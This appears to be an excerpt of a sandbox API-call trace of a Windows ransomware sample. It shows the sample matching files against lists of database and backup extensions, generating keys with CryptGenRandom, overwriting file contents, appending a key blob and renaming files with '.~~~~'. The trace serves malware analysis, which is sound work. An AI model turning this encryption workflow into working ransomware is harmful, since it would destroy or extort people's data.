	[0135.066] lstrlenW (lpString=".bak") returned 4
	[0135.066] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK1.VRD", lpSrch=".bak") returned 0x0
	[0135.066] lstrlenW (lpString=".myd") returned 4
	[0135.066] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK1.VRD", lpSrch=".myd") returned 0x0
	[0135.066] lstrlenW (lpString=".DTXS") returned 5
	[0135.066] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK1.VRD", lpSrch=".DTXS") returned 0x0
	[0135.066] lstrlenW (lpString=".ckp") returned 4
	[0135.066] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK1.VRD", lpSrch=".ckp") returned 0x0
	[0135.066] lstrlenW (lpString=".dbt") returned 4
	[0135.066] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK1.VRD", lpSrch=".dbt") returned 0x0
	[0135.066] lstrlenW (lpString=".db") returned 3
	[0135.066] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK1.VRD", lpSrch=".db") returned 0x0
	[0135.066] lstrlenW (lpString=".TXT") returned 4
	[0135.067] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK1.VRD", lpSrch=".TXT") returned 0x0
	[0135.067] lstrlenW (lpString=".MDF") returned 4
	[0135.067] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK1.VRD", lpSrch=".MDF") returned 0x0
	[0135.067] lstrlenW (lpString=".bdb") returned 4
	[0135.067] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK1.VRD", lpSrch=".bdb") returned 0x0
	[0135.067] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0135.067] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK1.VRD", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0135.067] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2906550
	[0135.067] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362bd0
	[0135.067] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0730) returned 1
	[0135.069] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362bd0 | out: pbBuffer=0x362bd0) returned 1
	[0135.069] CryptReleaseContext (hProv=0x3a0730, dwFlags=0x0) returned 1
	[0135.069] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362bd0 | out: hHeap=0x300000) returned 1
	[0135.069] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0135.069] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0135.069] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=25505914956) returned 1
	[0135.069] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xb9f2a130, dwHighDateTime=0x1d60e1e)) 
	[0135.069] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3622c0
	[0135.069] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0135.069] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3572d8
	[0135.069] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x38cb60
	[0135.069] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0135.070] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x38cb60 | out: hHeap=0x300000) returned 1
	[0135.070] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0135.070] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0135.070] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x399ba8
	[0135.070] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0135.070] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3c5118
	[0135.070] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x399ba8 | out: hHeap=0x300000) returned 1
	[0135.070] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0135.070] GetLastError () returned 0x0
	[0135.070] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0135.071] GetLastError () returned 0x0
	[0135.074] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0xfffff8cc, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0135.074] WriteFile (in: hFile=0x140, lpBuffer=0x28e6048*, nNumberOfBytesToWrite=0x734, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e6048*, lpNumberOfBytesWritten=0x25dfec0*=0x734, lpOverlapped=0x0) returned 1
	[0135.074] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e6048 | out: hHeap=0x300000) returned 1
	[0135.074] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0135.074] WriteFile (in: hFile=0x140, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0135.075] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0135.075] WriteFile (in: hFile=0x140, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0135.075] CloseHandle (hObject=0x140) returned 1
	[0135.075] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3c5118
	[0135.075] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK1.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\network1.vrd"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK1.VRD.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\network1.vrd.~~~~")) returned 1
	[0135.078] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3c5118 | out: hHeap=0x300000) returned 1
	[0135.078] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3572d8 | out: hHeap=0x300000) returned 1
	[0135.078] GetLastError () returned 0x0
	[0135.078] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK2.VRD", lpSrch=".scr") returned 0x0
	[0135.078] lstrlenW (lpString=".cmd") returned 4
	[0135.078] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK2.VRD", lpSrch=".cmd") returned 0x0
	[0135.078] lstrlenW (lpString=".dll") returned 4
	[0135.078] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK2.VRD", lpSrch=".dll") returned 0x0
	[0135.078] lstrlenW (lpString=".bat") returned 4
	[0135.078] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK2.VRD", lpSrch=".bat") returned 0x0
	[0135.078] lstrlenW (lpString=".cpl") returned 4
	[0135.078] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK2.VRD", lpSrch=".cpl") returned 0x0
	[0135.078] lstrlenW (lpString=".sys") returned 4
	[0135.078] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK2.VRD", lpSrch=".sys") returned 0x0
	[0135.079] lstrlenW (lpString=".msc") returned 4
	[0135.079] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK2.VRD", lpSrch=".msc") returned 0x0
	[0135.079] lstrlenW (lpString=".com") returned 4
	[0135.079] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK2.VRD", lpSrch=".com") returned 0x0
	[0135.079] lstrlenW (lpString=".lnk") returned 4
	[0135.079] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK2.VRD", lpSrch=".lnk") returned 0x0
	[0135.079] lstrlenW (lpString=".msp") returned 4
	[0135.079] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK2.VRD", lpSrch=".msp") returned 0x0
	[0135.079] lstrlenW (lpString=".pif") returned 4
	[0135.079] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK2.VRD", lpSrch=".pif") returned 0x0
	[0135.079] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0135.079] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK2.VRD", lpSrch="msp\r\n.pif") returned 0x0
	[0135.079] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK2.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\network2.vrd"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x140
	[0135.081] lstrlenW (lpString=".sqb") returned 4
	[0135.081] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK2.VRD", lpSrch=".sqb") returned 0x0
	[0135.081] lstrlenW (lpString=".ost") returned 4
	[0135.082] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK2.VRD", lpSrch=".ost") returned 0x0
	[0135.082] lstrlenW (lpString=".txt") returned 4
	[0135.082] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK2.VRD", lpSrch=".txt") returned 0x0
	[0135.082] lstrlenW (lpString=".mdt") returned 4
	[0135.082] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK2.VRD", lpSrch=".mdt") returned 0x0
	[0135.082] lstrlenW (lpString=".BDB") returned 4
	[0135.082] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK2.VRD", lpSrch=".BDB") returned 0x0
	[0135.082] lstrlenW (lpString=".eql") returned 4
	[0135.082] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK2.VRD", lpSrch=".eql") returned 0x0
	[0135.082] lstrlenW (lpString=".DBF") returned 4
	[0135.082] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK2.VRD", lpSrch=".DBF") returned 0x0
	[0135.082] lstrlenW (lpString=".EQL") returned 4
	[0135.082] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK2.VRD", lpSrch=".EQL") returned 0x0
	[0135.082] lstrlenW (lpString=".FDB") returned 4
	[0135.082] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK2.VRD", lpSrch=".FDB") returned 0x0
	[0135.082] lstrlenW (lpString=".EDB") returned 4
	[0135.082] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK2.VRD", lpSrch=".EDB") returned 0x0
	[0135.082] lstrlenW (lpString=".DACPAC") returned 7
	[0135.083] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK2.VRD", lpSrch=".DACPAC") returned 0x0
	[0135.083] lstrlenW (lpString=".VHD") returned 4
	[0135.083] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK2.VRD", lpSrch=".VHD") returned 0x0
	[0135.083] lstrlenW (lpString=".DBV") returned 4
	[0135.083] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK2.VRD", lpSrch=".DBV") returned 0x0
	[0135.083] lstrlenW (lpString=".dacpac") returned 7
	[0135.083] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK2.VRD", lpSrch=".dacpac") returned 0x0
	[0135.083] lstrlenW (lpString=".sdf") returned 4
	[0135.083] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK2.VRD", lpSrch=".sdf") returned 0x0
	[0135.083] lstrlenW (lpString=".accdb") returned 6
	[0135.083] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK2.VRD", lpSrch=".accdb") returned 0x0
	[0135.083] lstrlenW (lpString=".DBX") returned 4
	[0135.083] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK2.VRD", lpSrch=".DBX") returned 0x0
	[0135.083] lstrlenW (lpString=".MDT") returned 4
	[0135.083] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK2.VRD", lpSrch=".MDT") returned 0x0
	[0135.083] lstrlenW (lpString=".SQB") returned 4
	[0135.083] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK2.VRD", lpSrch=".SQB") returned 0x0
	[0135.083] lstrlenW (lpString=".vhd") returned 4
	[0135.084] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK2.VRD", lpSrch=".vhd") returned 0x0
	[0135.084] lstrlenW (lpString=".bac") returned 4
	[0135.084] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK2.VRD", lpSrch=".bac") returned 0x0
	[0135.084] lstrlenW (lpString=".mdf") returned 4
	[0135.084] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK2.VRD", lpSrch=".mdf") returned 0x0
	[0135.084] lstrlenW (lpString=".BAK") returned 4
	[0135.084] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK2.VRD", lpSrch=".BAK") returned 0x0
	[0135.084] lstrlenW (lpString=".BAC") returned 4
	[0135.084] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK2.VRD", lpSrch=".BAC") returned 0x0
	[0135.084] lstrlenW (lpString=".dbs") returned 4
	[0135.084] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK2.VRD", lpSrch=".dbs") returned 0x0
	[0135.084] lstrlenW (lpString=".vhdx") returned 5
	[0135.084] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK2.VRD", lpSrch=".vhdx") returned 0x0
	[0135.084] lstrlenW (lpString=".NDF") returned 4
	[0135.084] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK2.VRD", lpSrch=".NDF") returned 0x0
	[0135.084] lstrlenW (lpString=".dat") returned 4
	[0135.084] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK2.VRD", lpSrch=".dat") returned 0x0
	[0135.084] lstrlenW (lpString=".DBS") returned 4
	[0135.084] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK2.VRD", lpSrch=".DBS") returned 0x0
	[0135.084] lstrlenW (lpString=".CKP") returned 4
	[0135.084] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK2.VRD", lpSrch=".CKP") returned 0x0
	[0135.085] lstrlenW (lpString=".edb") returned 4
	[0135.085] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK2.VRD", lpSrch=".edb") returned 0x0
	[0135.085] lstrlenW (lpString=".PST") returned 4
	[0135.085] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK2.VRD", lpSrch=".PST") returned 0x0
	[0135.085] lstrlenW (lpString=".dbf") returned 4
	[0135.085] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK2.VRD", lpSrch=".dbf") returned 0x0
	[0135.085] lstrlenW (lpString=".SQL") returned 4
	[0135.085] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK2.VRD", lpSrch=".SQL") returned 0x0
	[0135.085] lstrlenW (lpString=".pst") returned 4
	[0135.085] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK2.VRD", lpSrch=".pst") returned 0x0
	[0135.085] lstrlenW (lpString=".dbv") returned 4
	[0135.085] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK2.VRD", lpSrch=".dbv") returned 0x0
	[0135.085] lstrlenW (lpString=".SDF") returned 4
	[0135.085] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK2.VRD", lpSrch=".SDF") returned 0x0
	[0135.085] lstrlenW (lpString=".dtxs") returned 5
	[0135.085] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK2.VRD", lpSrch=".dtxs") returned 0x0
	[0135.085] lstrlenW (lpString=".db3") returned 4
	[0135.085] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK2.VRD", lpSrch=".db3") returned 0x0
	[0135.085] lstrlenW (lpString=".OST") returned 4
	[0135.085] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK2.VRD", lpSrch=".OST") returned 0x0
	[0135.086] lstrlenW (lpString=".dbx") returned 4
	[0135.086] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK2.VRD", lpSrch=".dbx") returned 0x0
	[0135.086] lstrlenW (lpString=".DB3") returned 4
	[0135.086] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK2.VRD", lpSrch=".DB3") returned 0x0
	[0135.086] lstrlenW (lpString=".DAT") returned 4
	[0135.086] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK2.VRD", lpSrch=".DAT") returned 0x0
	[0135.086] lstrlenW (lpString=".VHDX") returned 5
	[0135.086] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK2.VRD", lpSrch=".VHDX") returned 0x0
	[0135.086] lstrlenW (lpString=".ndf") returned 4
	[0135.086] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK2.VRD", lpSrch=".ndf") returned 0x0
	[0135.086] lstrlenW (lpString=".DB") returned 3
	[0135.086] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK2.VRD", lpSrch=".DB") returned 0x0
	[0135.086] lstrlenW (lpString=".sql") returned 4
	[0135.086] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK2.VRD", lpSrch=".sql") returned 0x0
	[0135.086] lstrlenW (lpString=".MYD") returned 4
	[0135.086] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK2.VRD", lpSrch=".MYD") returned 0x0
	[0135.086] lstrlenW (lpString=".DBT") returned 4
	[0135.086] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK2.VRD", lpSrch=".DBT") returned 0x0
	[0135.086] lstrlenW (lpString=".ACCDB") returned 6
	[0135.086] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK2.VRD", lpSrch=".ACCDB") returned 0x0
	[0135.087] lstrlenW (lpString=".fdb") returned 4
	[0135.087] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK2.VRD", lpSrch=".fdb") returned 0x0
	[0135.087] lstrlenW (lpString=".bak") returned 4
	[0135.087] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK2.VRD", lpSrch=".bak") returned 0x0
	[0135.087] lstrlenW (lpString=".myd") returned 4
	[0135.087] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK2.VRD", lpSrch=".myd") returned 0x0
	[0135.087] lstrlenW (lpString=".DTXS") returned 5
	[0135.087] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK2.VRD", lpSrch=".DTXS") returned 0x0
	[0135.087] lstrlenW (lpString=".ckp") returned 4
	[0135.087] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK2.VRD", lpSrch=".ckp") returned 0x0
	[0135.087] lstrlenW (lpString=".dbt") returned 4
	[0135.087] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK2.VRD", lpSrch=".dbt") returned 0x0
	[0135.087] lstrlenW (lpString=".db") returned 3
	[0135.087] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK2.VRD", lpSrch=".db") returned 0x0
	[0135.087] lstrlenW (lpString=".TXT") returned 4
	[0135.087] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK2.VRD", lpSrch=".TXT") returned 0x0
	[0135.087] lstrlenW (lpString=".MDF") returned 4
	[0135.087] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK2.VRD", lpSrch=".MDF") returned 0x0
	[0135.087] lstrlenW (lpString=".bdb") returned 4
	[0135.088] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK2.VRD", lpSrch=".bdb") returned 0x0
	[0135.088] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0135.088] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK2.VRD", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0135.088] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2906550
	[0135.088] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362bd0
	[0135.088] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0fb0) returned 1
	[0135.119] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362bd0 | out: pbBuffer=0x362bd0) returned 1
	[0135.119] CryptReleaseContext (hProv=0x3a0fb0, dwFlags=0x0) returned 1
	[0135.119] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362bd0 | out: hHeap=0x300000) returned 1
	[0135.119] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b70
	[0135.119] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0135.119] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=25510911526) returned 1
	[0135.119] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xb9f9c550, dwHighDateTime=0x1d60e1e)) 
	[0135.119] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0135.119] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0135.119] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x356f78
	[0135.119] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2824f30
	[0135.119] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0135.119] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2824f30 | out: hHeap=0x300000) returned 1
	[0135.120] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0135.120] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0135.120] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x399ba8
	[0135.120] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0135.120] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3c52e0
	[0135.120] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x399ba8 | out: hHeap=0x300000) returned 1
	[0135.120] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0135.120] GetLastError () returned 0x0
	[0135.120] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0135.121] GetLastError () returned 0x0
	[0135.123] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0xfffff79a, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0135.123] WriteFile (in: hFile=0x140, lpBuffer=0x2a520b8*, nNumberOfBytesToWrite=0x866, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a520b8*, lpNumberOfBytesWritten=0x25dfec0*=0x866, lpOverlapped=0x0) returned 1
	[0135.124] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a520b8 | out: hHeap=0x300000) returned 1
	[0135.124] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0135.124] WriteFile (in: hFile=0x140, lpBuffer=0x368b70*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b70*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
